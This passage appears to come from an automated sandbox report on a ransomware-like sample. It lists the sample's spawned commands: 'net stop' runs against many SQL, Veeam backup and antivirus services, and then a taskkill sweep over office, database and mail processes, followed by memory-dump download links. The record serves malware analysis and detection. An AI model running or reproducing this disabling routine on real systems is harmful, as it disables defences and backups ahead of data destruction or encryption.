4⤵
PID:1696

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ TPS /y
3⤵
PID:1860

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPS /y
4⤵
PID:2012

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ TPSAMA /y
3⤵
PID:1872

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPSAMA /y
4⤵
PID:1080

C:\Windows\SysWOW64\net.exe
net stop MSSQLSERVER /y
3⤵
PID:1576

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLSERVER /y
4⤵
PID:1616

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper100 /y
3⤵
PID:1808

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
4⤵
PID:1072

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerOLAPService /y
3⤵
PID:1492

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
4⤵
PID:1656

C:\Windows\SysWOW64\net.exe
net stop MySQL80 /y
3⤵
PID:1156

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL80 /y
4⤵
PID:1336

C:\Windows\SysWOW64\net.exe
net stop MySQL57 /y
3⤵
PID:1364

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL57 /y
4⤵
PID:1344

C:\Windows\SysWOW64\net.exe
net stop ntrtscan /y
3⤵
PID:768

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ntrtscan /y
4⤵
PID:788

C:\Windows\SysWOW64\net.exe
net stop OracleClientCache80 /y
3⤵
PID:1768

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop OracleClientCache80 /y
4⤵
PID:1812

C:\Windows\SysWOW64\net.exe
net stop PDVFSService /y
3⤵
PID:1200

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
4⤵
PID:1984

C:\Windows\SysWOW64\net.exe
net stop POP3SVC /y
3⤵
PID:1488

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop POP3SVC /y
4⤵
PID:1332

C:\Windows\SysWOW64\net.exe
net stop ReportServer /y
3⤵
PID:1256

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer /y
4⤵
PID:884

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ SQL_2008 /y
3⤵
PID:1356

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ SQL_2008 /y
4⤵
PID:1744

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ SYSTEM_BGC /y
3⤵
PID:1316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ SYSTEM_BGC /y
4⤵
PID:368

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ TPS /y
3⤵
PID:1040

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ TPS /y
4⤵
PID:320

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ TPSAMA /y
3⤵
PID:568

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ TPSAMA /y
4⤵
PID:472

C:\Windows\SysWOW64\net.exe
net stop RESVC /y
3⤵
PID:304

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RESVC /y
4⤵
PID:572

C:\Windows\SysWOW64\net.exe
net stop sacsvr /y
3⤵
PID:1832

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sacsvr /y
4⤵
PID:1504

C:\Windows\SysWOW64\net.exe
net stop SamSs /y
3⤵
PID:556

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SamSs /y
4⤵
PID:1120

C:\Windows\SysWOW64\net.exe
net stop SAVAdminService /y
3⤵
PID:1640

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SAVAdminService /y
4⤵
PID:1596

C:\Windows\SysWOW64\net.exe
net stop ????????? /y
3⤵
PID:436

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ????????? /y
4⤵
PID:1868

C:\Windows\SysWOW64\net.exe
net stop SDRSVC /y
3⤵
PID:1628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SDRSVC /y
4⤵
PID:672

C:\Windows\SysWOW64\net.exe
net stop SepMasterService /y
3⤵
PID:1836

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SepMasterService /y
4⤵
PID:1508

C:\Windows\SysWOW64\net.exe
net stop ShMonitor /y
3⤵
PID:280

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ShMonitor /y
4⤵
PID:984

C:\Windows\SysWOW64\net.exe
net stop Smcinst /y
3⤵
PID:948

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Smcinst /y
4⤵
PID:1428

C:\Windows\SysWOW64\net.exe
net stop SmcService /y
3⤵
PID:1144

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SmcService /y
4⤵
PID:1096

C:\Windows\SysWOW64\net.exe
net stop SMTPSVC /y
3⤵
PID:920

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SMTPSVC /y
4⤵
PID:1988

C:\Windows\SysWOW64\net.exe
net stop SNAC /y
3⤵
PID:316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SNAC /y
4⤵
PID:1992

C:\Windows\SysWOW64\net.exe
net stop SntpService /y
3⤵
PID:704

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SntpService /y
4⤵
PID:1352

C:\Windows\SysWOW64\net.exe
net stop sophossps /y
3⤵
PID:1536

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sophossps /y
4⤵
PID:1784

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ BKUPEXEC /y
3⤵
PID:1388

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ BKUPEXEC /y
4⤵
PID:1804

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ ECWDB2 /y
3⤵
PID:1304

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ ECWDB2 /y
4⤵
PID:1592

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PRACTTICEBGC /y
3⤵
PID:1568

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEBGC /y
4⤵
PID:608

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PRACTTICEMGT /y
3⤵
PID:1580

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEMGT /y
4⤵
PID:1608

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PROFXENGAGEMENT /y
3⤵
PID:1340

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PROFXENGAGEMENT /y
4⤵
PID:1600

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SBSMONITORING /y
3⤵
PID:2040

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SBSMONITORING /y
4⤵
PID:1604

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SHAREPOINT /y
3⤵
PID:1724

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SHAREPOINT /y
4⤵
PID:944

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SQL_2008 /y
3⤵
PID:952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SQL_2008 /y
4⤵
PID:964

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SYSTEM_BGC /y
3⤵
PID:1824

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SYSTEM_BGC /y
4⤵
PID:1168

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ TPS /y
3⤵
PID:940

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ TPS /y
4⤵
PID:1792

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ TPSAMA /y
3⤵
PID:1880

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ TPSAMA /y
4⤵
PID:1936

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2008R2 /y
3⤵
PID:1664

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y
4⤵
PID:1820

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2012 /y
3⤵
PID:1788

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2012 /y
4⤵
PID:1092

C:\Windows\SysWOW64\net.exe
net stop SQLBrowser /y
3⤵
PID:2028

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLBrowser /y
4⤵
PID:1876

C:\Windows\SysWOW64\net.exe
net stop SQLSafeOLRService /y
3⤵
PID:1232

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLSafeOLRService /y
4⤵
PID:1636

C:\Windows\SysWOW64\net.exe
net stop SQLSERVERAGENT /y
3⤵
PID:824

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLSERVERAGENT /y
4⤵
PID:1752

C:\Windows\SysWOW64\net.exe
net stop SQLTELEMETRY /y
3⤵
PID:1056

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY /y
4⤵
PID:112

C:\Windows\SysWOW64\net.exe
net stop SQLTELEMETRY $ ECWDB2 /y
3⤵
PID:1976

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY $ ECWDB2 /y
4⤵
PID:2036

C:\Windows\SysWOW64\net.exe
net stop SQLWriter /y
3⤵
PID:844

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLWriter /y
4⤵
PID:652

C:\Windows\SysWOW64\net.exe
net stop SstpSvc /y
3⤵
PID:1296

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SstpSvc /y
4⤵
PID:1328

C:\Windows\SysWOW64\net.exe
net stop svcGenericHost /y
3⤵
PID:528

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop svcGenericHost /y
4⤵
PID:1348

C:\Windows\SysWOW64\net.exe
net stop swi_filter /y
3⤵
PID:524

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_filter /y
4⤵
PID:1496

C:\Windows\SysWOW64\net.exe
net stop swi_service /y
3⤵
PID:668

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_service /y
4⤵
PID:756

C:\Windows\SysWOW64\net.exe
net stop swi_update_64 /y
3⤵
PID:1648

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_update_64 /y
4⤵
PID:848

C:\Windows\SysWOW64\net.exe
net stop TmCCSF /y
3⤵
PID:1512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TmCCSF /y
4⤵
PID:1560

C:\Windows\SysWOW64\net.exe
net stop tmlisten /y
3⤵
PID:1500

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop tmlisten /y
4⤵
PID:616

C:\Windows\SysWOW64\net.exe
net stop TrueKey /y
3⤵
PID:1840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKey /y
4⤵
PID:1644

C:\Windows\SysWOW64\net.exe
net stop TrueKeyScheduler /y
3⤵
PID:1632

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKeyScheduler /y
4⤵
PID:1624

C:\Windows\SysWOW64\net.exe
net stop TrueKeyServiceHelper /y
3⤵
PID:972

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKeyServiceHelper /y
4⤵
PID:1680

C:\Windows\SysWOW64\net.exe
net stop UI0Detect /y
3⤵
PID:764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop UI0Detect /y
4⤵
PID:1676

C:\Windows\SysWOW64\net.exe
net stop VeeamBackupSvc /y
3⤵
PID:1552

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBackupSvc /y
4⤵
PID:328

C:\Windows\SysWOW64\net.exe
net stop VeeamBrokerSvc /y
3⤵
PID:592

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBrokerSvc /y
4⤵
PID:792

C:\Windows\SysWOW64\net.exe
net stop VeeamCatalogSvc /y
3⤵
PID:932

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCatalogSvc /y
4⤵
PID:1036

C:\Windows\SysWOW64\net.exe
net stop VeeamCloudSvc /y
3⤵
PID:1996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCloudSvc /y
4⤵
PID:1236

C:\Windows\SysWOW64\net.exe
net stop VeeamDeploymentService /y
3⤵
PID:1944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
4⤵
PID:1932

C:\Windows\SysWOW64\net.exe
net stop VeeamDeploySvc /y
3⤵
PID:1672

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploySvc /y
4⤵
PID:544

C:\Windows\SysWOW64\net.exe
net stop VeeamEnterpriseManagerSvc /y
3⤵
PID:1548

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y
4⤵
PID:1540

C:\Windows\SysWOW64\net.exe
net stop VeeamMountSvc /y
3⤵
PID:1376

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamMountSvc /y
4⤵
PID:1520

C:\Windows\SysWOW64\net.exe
net stop VeeamNFSSvc /y
3⤵
PID:1484

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
4⤵
PID:1800

C:\Windows\SysWOW64\net.exe
net stop VeeamRESTSvc /y
3⤵
PID:1544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamRESTSvc /y
4⤵
PID:360

C:\Windows\SysWOW64\net.exe
net stop VeeamTransportSvc /y
3⤵
PID:1612

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
4⤵
PID:1716

C:\Windows\SysWOW64\net.exe
net stop W3svc /y
3⤵
PID:876

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop W3svc /y
4⤵
PID:1756

C:\Windows\SysWOW64\net.exe
net stop wbengine /y
3⤵
PID:364

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wbengine /y
4⤵
PID:888

C:\Windows\SysWOW64\net.exe
net stop WRSVC /y
3⤵
PID:960

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop WRSVC /y
4⤵
PID:1696

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2008R2 /y
3⤵
PID:1860

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
4⤵
PID:2012

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2008R2 /y
3⤵
PID:1872

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y
4⤵
PID:1080

C:\Windows\SysWOW64\net.exe
net stop VeeamHvIntegrationSvc /y
3⤵
PID:1576

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y
4⤵
PID:1616

C:\Windows\SysWOW64\net.exe
net stop swi_update /y
3⤵
PID:1808

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_update /y
4⤵
PID:1072

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ CXDB /y
3⤵
PID:1492

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ CXDB /y
4⤵
PID:1656

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ CITRIX_METAFRAME /y
3⤵
PID:1156

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ CITRIX_METAFRAME /y
4⤵
PID:1336

C:\Windows\SysWOW64\net.exe
net stop SQL ???????? /y
3⤵
PID:1364

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQL ???????? /y
4⤵
PID:1344

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PROD /y
3⤵
PID:768

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PROD /y
4⤵
PID:788

C:\Windows\SysWOW64\net.exe
net stop Zoolz 2 ?????? /y
3⤵
PID:1768

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Zoolz 2 ?????? /y
4⤵
PID:1812

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper /y
3⤵
PID:1200

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper /y
4⤵
PID:1984

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PROD /y
3⤵
PID:1488

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PROD /y
4⤵
PID:1332

C:\Windows\SysWOW64\net.exe
net stop msftesql $ PROD /y
3⤵
PID:1256

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop msftesql $ PROD /y
4⤵
PID:884

C:\Windows\SysWOW64\net.exe
net stop NetMsmqActivator /y
3⤵
PID:1356

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetMsmqActivator /y
4⤵
PID:1744

C:\Windows\SysWOW64\net.exe
net stop EhttpSrv /y
3⤵
PID:1316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EhttpSrv /y
4⤵
PID:368

C:\Windows\SysWOW64\net.exe
net stop ekrn /y
3⤵
PID:1496

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ekrn /y
4⤵
PID:524

C:\Windows\SysWOW64\net.exe
net stop ESHASRV /y
3⤵
PID:756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ESHASRV /y
4⤵
PID:668

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SOPHOS /y
3⤵
PID:304

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SOPHOS /y
4⤵
PID:572

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SOPHOS /y
3⤵
PID:1832

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SOPHOS /y
4⤵
PID:1504

C:\Windows\SysWOW64\net.exe
net stop AVP /y
3⤵
PID:556

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AVP /y
4⤵
PID:1120

C:\Windows\SysWOW64\net.exe
net stop klnagent /y
3⤵
PID:1640

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop klnagent /y
4⤵
PID:1596

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SQLEXPRESS /y
3⤵
PID:436

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SQLEXPRESS /y
4⤵
PID:1868

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ /y
3⤵
PID:1628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ /y
4⤵
PID:672

C:\Windows\SysWOW64\net.exe
net stop SQLEXPRESS /y
3⤵
PID:1836

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLEXPRESS /y
4⤵
PID:1508

C:\Windows\SysWOW64\net.exe
net stop wbengine /y
3⤵
PID:280

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wbengine /y
4⤵
PID:984

C:\Windows\SysWOW64\net.exe
net stop kavfsslp /y
3⤵
PID:948

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop kavfsslp /y
4⤵
PID:1428

C:\Windows\SysWOW64\net.exe
net stop KAVFSGT /y
3⤵
PID:1144

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop KAVFSGT /y
4⤵
PID:1096

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c taskkill /f /im zoolz.exe >NUL 2> 1 /im agntsvc.exe >NUL 2> 1 /im dbeng50.exe >NUL 2> 1 /im dbsnmp.exe >NUL 2> 1 /im encsvc.exe >NUL 2> 1 /im excel.exe >NUL 2> 1 /im firefoxconfig.exe >NUL 2> 1 /im Infopath.exe >NUL 2> 1 /im isqlplussvc.exe >NUL 2> 1 /im msaccess.exe >NUL 2> 1 /im msftesql.exe >NUL 2> 1 /im mspub.exe >NUL 2> 1 /im mydesktopqos.exe >NUL 2> 1 /im mydesktopservice.exe >NUL 2> 1 /im mysqld.exe >NUL 2> 1 /im mysqld-nt.exe >NUL 2> 1 /im mysqld-opt.exe >NUL 2> 1 /im ocautoupds.exe >NUL 2> 1 /im ocomm.exe >NUL 2> 1 /im ocssd.exe >NUL 2> 1 /im onenote.exe >NUL 2> 1 /im oracle.exe >NUL 2> 1 /im outlook.exe >NUL 2> 1 /im powerpnt.exe >NUL 2> 1 /im sqbcoreservice.exe >NUL 2> 1 /im sqlagent.exe >NUL 2> 1 /im sqlbrowser.exe >NUL 2> 1 /im sqlservr.exe >NUL 2> 1 /im sqlwriter.exe >NUL 2> 1 /im steam.exe >NUL 2> 1 /im synctime.exe >NUL 2> 1 /im tbirdconfig.exe >NUL 2> 1 /im thebat.exe >NUL 2> 1 /im thebat64.exe >NUL 2> 1 /im thunderbird.exe >NUL 2> 1 /im visio.exe >NUL 2> 1 /im winword.exe >NUL 2> 1 /im wordpad.exe >NUL 2> 1 /im xfssvccon.exe >NUL 2> 1 /im tmlisten.exe >NUL 2> 1 /im PccNTMon.exe >NUL 2> 1 /im CNTAoSMgr.exe >NUL 2> 1 /im Ntrtscan.exe >NUL 2> 1 /im mbamtray.exe >NUL 2> 1 /im cmd.exe >NUL 2> 1
2⤵
PID:920

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im zoolz.exe /im agntsvc.exe /im dbeng50.exe /im dbsnmp.exe /im encsvc.exe /im excel.exe /im firefoxconfig.exe /im Infopath.exe /im isqlplussvc.exe /im msaccess.exe /im msftesql.exe /im mspub.exe /im mydesktopqos.exe /im mydesktopservice.exe /im mysqld.exe /im mysqld-nt.exe /im mysqld-opt.exe /im ocautoupds.exe /im ocomm.exe /im ocssd.exe /im onenote.exe /im oracle.exe /im outlook.exe /im powerpnt.exe /im sqbcoreservice.exe /im sqlagent.exe /im sqlbrowser.exe /im sqlservr.exe /im sqlwriter.exe /im steam.exe /im synctime.exe /im tbirdconfig.exe /im thebat.exe /im thebat64.exe /im thunderbird.exe /im visio.exe /im winword.exe /im wordpad.exe /im xfssvccon.exe /im tmlisten.exe /im PccNTMon.exe /im CNTAoSMgr.exe /im Ntrtscan.exe /im mbamtray.exe /im cmd.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 308
2⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1600

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/112-106-0x0000000000000000-mapping.dmp

Download
memory/304-67-0x0000000000000000-mapping.dmp

Download
memory/328-77-0x0000000000000000-mapping.dmp

Download
memory/360-89-0x0000000000000000-mapping.dmp

Download
memory/472-65-0x0000000000000000-mapping.dmp

Download
memory/524-112-0x0000000000000000-mapping.dmp

Download
memory/544-82-0x0000000000000000-mapping.dmp

Download
memory/592-79-0x0000000000000000-mapping.dmp

Download
memory/616-118-0x0000000000000000-mapping.dmp

Download
memory/668-64-0x0000000000000000-mapping.dmp

Download
memory/668-115-0x0000000000000000-mapping.dmp

Download
memory/672-72-0x0000000000000000-mapping.dmp

Download
memory/672-123-0x0000000000000000-mapping.dmp

Download
memory/756-114-0x0000000000000000-mapping.dmp

Download
memory/820-71-0x0000000000000000-mapping.dmp

Download
memory/824-104-0x0000000000000000-mapping.dmp

Download
memory/844-108-0x0000000000000000-mapping.dmp

Download
memory/848-117-0x0000000000000000-mapping.dmp

Download
memory/848-66-0x0000000000000000-mapping.dmp

Download
memory/888-93-0x0000000000000000-mapping.dmp

Download
memory/916-60-0x0000000075011000-0x0000000075013000-memory.dmp

Filesize
8KB

Download
memory/940-96-0x0000000000000000-mapping.dmp

Download
memory/952-95-0x0000000000000000-mapping.dmp

Download
memory/964-94-0x0000000000000000-mapping.dmp

Download
memory/972-124-0x0000000000000000-mapping.dmp

Download
memory/1036-78-0x0000000000000000-mapping.dmp

Download
memory/1056-107-0x0000000000000000-mapping.dmp

Download
memory/1120-69-0x0000000000000000-mapping.dmp

Download
memory/1168-97-0x0000000000000000-mapping.dmp

Download
memory/1236-81-0x0000000000000000-mapping.dmp

Download
memory/1288-61-0x0000000000000000-mapping.dmp

Download
memory/1296-111-0x0000000000000000-mapping.dmp

Download
memory/1316-63-0x0000000000000000-mapping.dmp

Download
memory/1328-110-0x0000000000000000-mapping.dmp

Download
memory/1348-113-0x0000000000000000-mapping.dmp

Download
memory/1348-62-0x0000000000000000-mapping.dmp

Download
memory/1376-87-0x0000000000000000-mapping.dmp

Download
memory/1500-119-0x0000000000000000-mapping.dmp

Download
memory/1500-68-0x0000000000000000-mapping.dmp

Download
memory/1512-116-0x0000000000000000-mapping.dmp

Download
memory/1540-85-0x0000000000000000-mapping.dmp

Download
memory/1544-88-0x0000000000000000-mapping.dmp

Download
memory/1548-84-0x0000000000000000-mapping.dmp

Download
memory/1552-76-0x0000000000000000-mapping.dmp

Download
memory/1600-126-0x0000000000590000-0x00000000005BA000-memory.dmp

Filesize
168KB

Download
memory/1612-91-0x0000000000000000-mapping.dmp

Download
memory/1628-122-0x0000000000000000-mapping.dmp

Download
memory/1636-105-0x0000000000000000-mapping.dmp

Download
memory/1640-70-0x0000000000000000-mapping.dmp

Download
memory/1640-121-0x0000000000000000-mapping.dmp

Download
memory/1676-74-0x0000000000000000-mapping.dmp

Download
memory/1680-73-0x0000000000000000-mapping.dmp

Download
memory/1724-92-0x0000000000000000-mapping.dmp

Download
memory/1756-90-0x0000000000000000-mapping.dmp

Download
memory/1788-100-0x0000000000000000-mapping.dmp

Download
memory/1800-86-0x0000000000000000-mapping.dmp

Download
memory/1820-101-0x0000000000000000-mapping.dmp

Download
memory/1836-75-0x0000000000000000-mapping.dmp

Download
memory/1868-120-0x0000000000000000-mapping.dmp

Download
memory/1876-102-0x0000000000000000-mapping.dmp

Download
memory/1880-99-0x0000000000000000-mapping.dmp

Download
memory/1936-98-0x0000000000000000-mapping.dmp

Download
memory/1944-83-0x0000000000000000-mapping.dmp

Download
memory/1996-80-0x0000000000000000-mapping.dmp

Download
memory/2028-103-0x0000000000000000-mapping.dmp

Download
memory/2036-109-0x0000000000000000-mapping.dmp

Download